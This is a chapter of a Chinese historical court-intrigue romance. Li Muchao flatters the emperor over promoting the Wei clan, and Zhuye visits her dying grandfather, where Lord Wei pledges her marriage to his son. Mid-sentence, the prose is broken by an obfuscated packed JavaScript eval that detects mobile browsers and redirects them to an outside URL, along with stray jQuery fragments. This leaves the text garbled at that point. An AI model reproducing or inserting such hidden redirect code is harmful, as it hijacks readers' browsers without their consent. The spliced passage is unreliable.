第二日晌午，皇帝果然急召李穆朝入对。
他自右掖门长驱直入，一路上经逢的宫中内官纷纷笼着袖子，腰低低弯着，走路鸦雀无声。气氛异常低沉，李穆朝察觉出了些许微妙的意味。
行至贞观殿，吴常侍果然神色万分不安地守在殿门口，远远望见李穆朝走来，这才弓身一礼，小步疾趋到他身侧，低声道：“李宗正可算到了。陛下方与张相公大动肝火，两人不欢而散，陛下可连砸了两只茶盏。李宗正，您看……”
李穆朝也压低声音，面目上却保持神情自然，问道：“可是为了提拔韦氏之事？”
吴常侍叹口气：“张相公本就执拗，往日与陛下政见不一时，陛下尚能和颜待之，如今裴氏一倒，陛下……”
他话只说了一半，李穆朝半抬起手阻止住了他接下来的话。
内官俯身让开了殿门，吴常侍也停在门外，李穆朝理了理衣襟袖口，朝内走去。
大殿面阔九间，气象宏敞，独身一人入内，便觉天家威势重重垂压。
李穆朝面上温和从容，对方才这殿中发生的一切故作无知。好在皇帝的气儿已经消了，坐在侧殿与皇后闲侃着家常。瞧见他走过来，唤了一声“李十三”，招手叫他过去。
待行过礼，君臣间寒暄一番后，皇帝方道：“你来时，可瞧见张卿了？”
李穆朝颔首道：“座师身体硬朗，离去得极快，臣未曾瞧见他。”
皇帝顶戴幞头，身着赭黄兽纹圆领袍，寻常中年男子面貌，生起气来方才有些天子威相。
“吾所爱者，张卿之耿介也，吾所恶者，张卿之耿介也。”皇帝长长叹了口气说道。
李穆朝微微抬了抬眼皮，淡笑道：“座师一贯耿介忠直，只是刚直者难曲，世事与天道又不得尽直无曲。”
皇帝道：“我有心起用韦氏，才传出些风声，张卿便连夜上了奏疏说不可。今早又入殿来，搬出他那套道理来讲了一通，我不耐烦听，与他绊了几句嘴，他便气匆匆走了。”
见李穆朝还要圆滑推回话题，皇帝摆了摆手，“李卿若是再敷衍答对，便速速退下。”
李穆朝叉手一礼：“臣不敢妄度圣意，只是……韦氏一事上，臣以为陛下较座师更为洞明。韦郎中于任中昼乾夕惕，戒慎有为，陛下欲提拔他，确然合乎法度。”
皇帝沉默半晌，身子微微朝他前倾，问道：“你真这样想？”
李穆朝貌似谦恭起来，嘴角笑意和煦：“陛下乃天道之子，所行皆为天道，臣等不过恭承天意。”
皇帝听了，顿觉心中舒坦多了。面色缓和起来，随口道：“张赞此人，过于乖戾。”
李穆朝意识到自己猜对了，天子这一次召他前来，并不真正想问他韦氏是否可用，只是为了观察他的态度。
此后张赞无论过往如何圣眷恩隆，君臣之隙渐深，他都无法再维持原有的地位。
皇帝笑着对他道：“方才李卿未进殿时，皇后温了一壶酒，眼下酒还热着。今日官署事务可繁忙？不如留下来，与我夫妻两个一同用午膳？”
李穆朝颔首一笑，恭敬应下。脚边绣毯上，富丽牡丹层层吐绽，如此秾艳妖冶，正是初春迎风恰逢盛时。
但一阵狂风过，花叶零丁吹落。珠夜站在树下愁眉不展，举手接过飞花。
“娘子，娘子！有好消息了！”松云头一个从外面跑回来，蹦蹦跳跳地。
珠夜听见她这咋呼的喊叫声，心中猛地一跳，立刻回过头来疾走向她。
“娘子，柳公已被放归。方才柳家来人通传，说柳公已回到府上了，那么想来柳二郎君那边也快了。”松云满面喜色，走过去挽住珠夜的手。
“真好，真好……我得告诉母亲去。”珠夜鼻子一酸，扭头方要进屋去寻母亲，发现母亲已站在门外，眼底深红一片，她拭着泪，朝珠夜点了点头。
“外公于狱中放归，母亲，这次……你要不要回柳府上瞧一瞧外公？”珠夜迟疑问道。
柳夫人张了张唇，怔忡片刻，而后摇了摇头，“珠夜，你替我去一趟柳府，见一见他吧。”
珠夜不明白她为何如此倔强决绝，到了这地步也不肯回去看一看外公。她心里有气，没回答母亲，扭头回屋换过钗裙，拉着松云出府去了。
这是柳家出事后，珠夜第一次回外家。本以为一开门所有人都该喜气洋洋才对，进了门她才发现事情和自己想象中的发展不一样。他们脸上不但看不到笑容，反而一个个满面哀容。
下人将她迎到外公院中，几个表亲姊妹聚在门外，见她来了好一番白眼伺候。
“忘恩负义的东西，你还晓得回来见一见祖父？”表姐潜音最是脾气暴躁，见了她便没什么好话。
珠夜不欲理会她，冷着脸没瞧她，也没瞧旁人。
“她靠祖父搭上了韦氏，如今柳家倒了，她怎么会搭理咱们，急着撇清还来不及吧？”柳宁音哼了一声。
珠夜忍了又忍，终是忍不住回头斥道：“你们这么伶牙俐齿，怎么不见你们去给外公和舅父四处打点，求他们通融？”
潜音哼了一声：“你以为我们不想去？只是我们身份在先，士族闺中女子，唯德唯礼为是，岂可轻易抛头露面，四处求告？”
珠夜无话可说，转身进了外公房门，外公于内室卧着，身侧是柳宅里的几个老人。
一见着了她，恍恍惚惚地叫着她母亲的名字：“妙儿，你来了？”
外公的鬓发全然白了，那双炯炯有神的鹰目瞧着有几分苍老后显出的脆弱。
珠夜上前跪在外公身边，听他道：“我晓得你不喜那未婚夫，妙儿不愿嫁，为父再不迫你嫁他了。你……你别翻墙去，太危险。”
他已经辨不清人了，把她当作了柳妙悟。珠夜耐心听他说完，而后握住了他的手。他的手太过枯瘦，以至于手上的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024577|194331||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
筋脉似古树盘根一般突兀。
珠夜勉力露出一个微笑，可刚发出一点声音，那声音便扭曲成了哭腔：“外公，是我，我是珠夜。”
柳公睁大了眼睛，迟钝许久，辨清人后，反倒是深深地失落。他眼里的神采黯淡下去，不过只是片刻，又微笑着看向珠夜：“是照川来了，你一向可好么？缺什么，短什么，尽管朝外公说。”
照川，是六岁那年柳公替她取的小字，知道的人不多，她曾在给韦七的信上提起过，不过韦七从未这样唤过她。
“外公，我什么都好，我……我来看您。”
外公张了张口，唇舌干瘪，好半天才艰难道：“外公年纪大了，不中用了。照川，你也大了，往后婚适韦氏，须持重端稳，不可肆意妄为。”
珠夜不敢说自己与韦氏退了婚，只悻悻应下。不多时竟听闻门外有人道韦公来见，她慌得坐立难安。
韦忻一入内室，见珠夜在侧，亦是有些惊讶。珠夜向他见过礼，心虚地低下头去。
“贤兄横遭此难，愚弟日夜挂心，特来相见。”
珠夜没料到韦忻会来，她以为那日李穆朝说过了那番话后，这韦忻应当会独善其身才是。不意外公一出狱，韦忻便匆匆来见了。她这前公爹，果真是大义之人。
柳公欲起身，又被韦忻扶着躺了回去。
他张大口喘着气，平复许久，方才在韦忻担忧的目光中道：“我的身体，我自己最是了解，我时日无多，最多不过这几日了，家中其余子女均已有所归宿，唯有我这个孙女……十七郎，你也晓得她那个父亲，这孩子我只能将她托付给你。”
韦忻迟疑地看了一眼珠夜，似乎在犹豫要不要将事实和盘托出，但看着柳公那年老的衰弱的形貌，却是一句话都说不出口了。他二人本是忘年之交，当初同属一署，有相当之深的同僚之谊。柳公那时本欲将其女柳妙悟嫁给他族弟，后来却因种种变故未能结成婚姻。
为了他与柳公这多年的情谊，他也不能在此时抛下珠夜不顾。
韦忻弓身深深一礼，坚定道：“柳公放心，我儿七郎，此生定迎秦氏珠夜为妇，我韦忻誓死绝不食言。”
珠夜在一旁愣愣听着，她和韦七的婚事真就如此峰回路转了，她一时无比欣喜，而后又开始深深忧虑起来。
此事的决定权好像一直不在于她和韦七，也不在于外公与韦公，倒像是捏在另一个人手上。
眼下外公是被放归了，可舅父还在狱中，万一那该死的李穆朝一个不顺心又要将舅父治罪，那她又要绞尽脑汁地四处求救了。
珠夜握住外公的手，想将真相尽数告知，几番措辞之下，她却已是不忍再说，外公身体如今太过虚弱，她不能再叫他挂心了。
万一今天这事还未传到李穆朝耳朵里，舅父就已经被放归了呢？她这样一说，岂不反倒弄巧成拙？
这样一想，珠夜便彻底闭嘴了。